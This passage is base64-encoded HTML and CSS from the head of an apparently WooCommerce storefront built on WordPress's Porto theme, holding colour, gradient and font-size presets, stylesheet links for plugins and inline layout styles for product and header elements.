i1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLWN5YW4tYmx1ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtdG8tdml2aWQtcHVycGxlLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbi1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1saWdodC1ncmVlbi1jeWFuLXRvLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLXRvLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1hbWJlci10by1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS10by12aXZpZC1yZWQtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtb3JhbmdlLXRvLXZpdmlkLXJlZCkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXktZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXkpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWNvb2wtdG8td2FybS1zcGVjdHJ1bS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1jb29sLXRvLXdhcm0tc3BlY3RydW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWxpZ2h0LXB1cnBsZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1ibHVzaC1saWdodC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWJvcmRlYXV4LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy1kdXNrLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWx1bWlub3VzLWR1c2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtb2NlYW4tZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tcGFsZS1vY2VhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtZWxlY3RyaWMtZ3Jhc3MtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tZWxlY3RyaWMtZ3Jhc3MpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLW1pZG5pZ2h0LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLW1pZG5pZ2h0KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1zbWFsbC1mb250LXNpemUgew0KICAgICAgICAgICAgZm9udC1zaXplOiB2YXIoLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXNtYWxsKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1tZWRpdW0tZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS1tZWRpdW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxhcmdlLWZvbnQtc2l6ZSB7DQogICAgICAgICAgICBmb250LXNpemU6IHZhcigtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbGFyZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXgtbGFyZ2UtZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS14LWxhcmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLW5hdmlnYXRpb24gYTp3aGVyZSg6bm90KC53cC1lbGVtZW50LWJ1dHRvbikpIHsNCiAgICAgICAgICAgIGNvbG9yOiBpbmhlcml0Ow0KICAgICAgICB9DQoNCiAgICAgICAgOndoZXJlKC53cC1ibG9jay1jb2x1bW5zLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDJlbTsNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjVlbTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjY7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj01LjcuMycgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0nd29vY29tbWVyY2UtaW5saW5lLWlubGluZS1jc3MnPg0KICAgICAgICAud29vY29tbWVyY2UgZm9ybSAuZm9ybS1yb3cgLnJlcXVpcmVkIHsNCiAgICAgICAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J25leHRwYXktc3R5bGVzLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9uZXh0cGF5L2Fzc2V0cy9jc3MvcGF5LmNzcz92ZXI9djEuMi40Jw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1jc3MtdmFycy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL3RoZW1lX2Nzc192YXJzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2Jvb3RzdHJhcC1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL2Jvb3RzdHJhcC5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1wbHVnaW5zLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2Nzcy9wbHVnaW5zLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXRoZW1lLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2Nzcy90aGVtZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc2hvcnRjb2Rlcy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL3Nob3J0Y29kZXMuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdGhlbWUtc2hvcC1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWVfc2hvcC5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10aGVtZS1lbGVtZW50b3ItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWVfZWxlbWVudG9yLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1keW5hbWljLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9keW5hbWljX3N0eWxlLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10eXBlLWJ1aWxkZXItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvcG9ydG8tZnVuY3Rpb25hbGl0eS9idWlsZGVycy9hc3NldHMvdHlwZS1idWlsZGVyLmNzcz92ZXI9Mi43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1hY2NvdW50LWxvZ2luLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lL3Nob3AvbG9naW4tc3R5bGUvYWNjb3VudC1sb2dpbi5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc3Atc2tlbGV0b24tY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUvc2hvcC9zaW5nbGUtcHJvZHVjdC9za2VsZXRvbi5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc3R5bGUtY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vc3R5bGUuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0ncG9ydG8tc3R5bGUtaW5saW5lLWNzcyc+DQogICAgICAgIC5zaWRlLWhlYWRlci1uYXJyb3ctYmFyLWxvZ28gew0KICAgICAgICAgICAgbWF4LXdpZHRoOiAxMTFweA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDk5MnB4KSB7DQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrDQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgYSB7DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICB3aWR0aDogMTRweDsNCiAgICAgICAgICAgIHRleHQtaW5kZW50OiAtOTk5OXB4DQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS10b3AgdWwuYnJlYWRjcnVtYiA+IGxpLmhvbWUgYTphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAiXGU4ODMiOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdwb3J0byc7DQogICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIHRleHQtaW5kZW50OiAwDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogMTUwMHB4KSB7DQogICAgICAgICAgICAubGVmdC1zaWRlYmFyLmNvbC1sZy0zLCAucmlnaHQtc2lkZWJhci5jb2wtbGctMyB7DQogICAgICAgICAgICAgICAgd2lkdGg6IDIwJQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAubWFpbi1jb250ZW50LmNvbC1sZy05IHsNCiAgICAgICAgICAgICAgICB3aWR0aDogODAlDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5tYWluLWNvbnRlbnQuY29sLWxnLTYgew0KICAgICAgICAgICAgICAgIHdpZHRoOiA2MCUNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC5wcm9kdWN0LWltYWdlcyAuaW1nLXRodW1ibmFpbCAuaW5uZXIsIC5wcm9kdWN0LWltYWdlcyAuaW1nLXRodW1ibmFpbCAuaW5uZXIgaW1nIHsNCiAgICAgICAgICAgIC13ZWJraXQtdHJhbnNmb3JtOiBub25lOw0KICAgICAgICAgICAgdHJhbnNmb3JtOiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3Qgew0KICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOw0KICAgICAgICAgICAgdG9wOiAwOw0KICAgICAgICAgICAgbGVmdDogMDsNCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgei1pbmRleDogMTAwOw0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgM3B4IDVweCByZ2JhKDAsIDAsIDAsIDAuMDgpOw0KICAgICAgICAgICAgcGFkZGluZzogMTVweCAwDQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QucG9zLWJvdHRvbSB7DQogICAgICAgICAgICB0b3A6IGF1dG87DQogICAgICAgICAgICBib3R0b206IDA7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIC0zcHggNXB4IHJnYmEoMCwgMCwgMCwgMC4wOCkNCiAgICAgICAgfQ0KDQogICAgICAgIC5zdGlja3ktcHJvZHVjdCAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IC1tcy1mbGV4Ym94Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgLW1zLWZsZXgtd3JhcDogd3JhcDsNCiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcA0KICAgICAgICB9DQoNCiAgICAgICAgLnN0aWNreS1wcm9kdWN0IC5zdGlja3ktaW1hZ2Ugew0KICAgICAgICAgICAgbWF4LXdpZHRoOiA2MHB4Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxNXB4DQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QgLmFkZC10by1jYXJ0IHsNCiAgICAgICAgICAgIC1tcy1mbGV4OiAxOw0KICAgICAgICAgICAgZmxleDogMTsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLXRvcDogNXB4DQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QgLnByb2R1Y3QtbmFtZSB7DQogICAgICAgICAgICBmb250LXNpemU6IDE2cHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOw0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IGluaGVyaXQ7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCg0KICAgICAgICAuc3RpY2t5LXByb2R1Y3QgLnN0aWNreS1kZXRhaWwgew0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNTsNCiAgICAgICAgICAgIGRpc3BsYXk6IC1tcy1mbGV4Ym94Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleA0KICAgICAgICB9DQoNCiAgICAgICAgLnN0aWNreS1wcm9kdWN0IC5zdGFyLXJhdGluZyB7DQogICAgICAgICAgICBtYXJnaW46IDVweCAxNXB4Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5zdGlja3ktcHJvZHVjdCAuYXZhaWxhYmlsaXR5IHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC5zdGlja3ktcHJvZHVjdCAuc3RpY2t5LWRldGFpbCAucHJpY2Ugew0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IFBvcHBpbnMsIFBvcHBpbnMsIHNhbnMtc2VyaWY7DQogICAgICAgICAgICBmb250LXdlaWdodDogNDAwOw0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMS41DQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogOTkycHgpIHsNCiAgICAgICAgICAgIC5zdGlja3ktcHJvZHVjdCAuY29udGFpbmVyIHsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IHZhcigtLXBvcnRvLWdyaWQtZ3V0dGVyLXdpZHRoKTsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiB2YXIoLS1wb3J0by1ncmlkLWd1dHRlci13aWR0aCkNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjdweCkgew0KICAgICAgICAgICAgLnN0aWNreS1wcm9kdWN0IHsNCiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuY3VzdG9tLWZvbnQ0LCAuY3VzdG9tLWZvbnQ0IC5lbGVtZW50b3ItaGVhZGluZy10aXRsZSB7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ1NlZ29lIFNjcmlwdCcsICdTYXZveWUgTEVUJw0KICAgICAgICB9DQoNCiAgICAgICAgLndvb2NvbW1lcmNlLmFyY2hpdmUgLmNvbHVtbjEgLm1haW4tY29udGVudCB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogMA0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2Utd3JhcHBlciB7DQogICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDB2aA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDE0NDBweCkgew0KICAgICAgICAgICAgLmNvbnRhaW5lci1mbHVpZCwgYm9keS53aWRlIC5jb250YWluZXI6bm90KC5pbm5lci1jb250YWluZXIpIHsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDQwcHg7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogNDBweA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuY29udGFpbmVyLWZsdWlkIC5lbGVtZW50b3ItdG9wLXNlY3Rpb24gew0KICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAtNDBweDsNCiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC00MHB4Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogNDBweDsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA0MHB4DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5jb250YWluZXItZmx1aWQgLmVsZW1lbnRvci10b3Atc2VjdGlvbi5lbGVtZW50b3Itc2VjdGlvbi1mdWxsX3dpZHRoID4gLmVsZW1lbnRvci1jb2x1bW4tZ2FwLW5vIHsNCiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMDsNCiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDA7DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCUNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLnB4LXNsLTAgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDAgIWltcG9ydGFudA0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLnZpZXctc3dpdGNoZXIgbGkubWVudS1pdGVtID4gYSA+IFtjbGFzcyo9J2ZsYWctJ10gew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgI2hlYWRlciAucG9ydG8tdmlldy1zd2l0Y2hlciA+IGxpLm1lbnUtaXRlbSA+IGEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAuNjI1cmVtOw0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMA0KICAgICAgICB9DQoNCiAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gLmFycm93OmJlZm9yZSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLXByb2R1Y3RzLWZpbHRlci1ib2R5IC5zaWRlYmFyIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHsNCiAgICAgICAgICAgICNoZWFkZXIgLnNlYXJjaGZvcm0gew0KICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJlbQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuaGVhZGVyLXdyYXBwZXIgI2hlYWRlciAuc2VhcmNoZm9ybSBidXR0b24gew0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDEycHgNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLmhlYWRlci13cmFwcGVyICNoZWFkZXIgLnNlYXJjaGZvcm0gaW5wdXQgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMTVweDsNCiAgICAgICAgICAgICAgICB3aWR0aDogYXV0bw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAjaGVhZGVyIC5oZWFkZXItY29udGFjdCB7DQogICAgICAgICAgICAgICAgZmxleDogMCAwIGF1dG87DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjEyNXJlbTsNCiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgICAgIG9yZGVyOiAwDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAjaGVhZGVyIC5zaGFyZS1saW5rcyBhIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAuNXJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogLjVyZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5oZWFkZXItc2lkZS1uYXYgLnNpZGViYXItbWVudSB7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAtMjBweA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDE0MzlweCkgew0KICAgICAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gYSwgLnRvZ2dsZS1tZW51LXdyYXAgLnNpZGViYXItbWVudSA+IGxpLm1lbnUtaXRlbSA+IGEgew0KICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxN3B4DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuc2VjdGlvbi10aXRsZSB7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogLjVyZW07DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2U3ZTdlNzsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0biB7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDANCiAgICAgICAgfQ0KDQogICAgICAgIC5idG4tZmxhdCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudA0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLWliYW5uZXItbGF5ZXIgLmJ0bi1mbGF0LmJ0bi14bCB7DQogICAgICAgICAgICBmb250LXNpemU6IDEuMTI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5vd2wtY2Fyb3VzZWwubmF2LXN0eWxlLTQgLm93bC1uYXYgW2NsYXNzKj0ib3dsLSJdIHsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDANCiAgICAgICAgfQ0KDQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdC1sYXlvdXQtdHJhbnNwYXJlbnQgew0KICAgICAgICAgICAgbWFyZ2luLXRvcDogLTIwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIHVsLnByb2R1Y3RzIGxpLnByb2R1Y3Qtb25pbWFnZTMgLnByb2R1Y3QtY29udGVudCB7DQogICAgICAgICAgICBvcGFjaXR5OiAxOw0KICAgICAgICAgICAgYm90dG9tOiAwDQogICAgICAgIH0NCg0KICAgICAgICAucGFnaW5hdGlvbi5sb2FkLW1vcmUgLm5leHQgew0KICAgICAgICAgICAgd2lkdGg6IGF1dG87DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDAwOw0KICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGluczsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE0cHggNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLmNvdXBvbi1zYWxlLXRleHQgYiB7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMWVtDQogICAgICAgIH0NCg0KICAgICAgICAuY291cG9uLXNhbGUtdGV4dCBiOmJlZm9y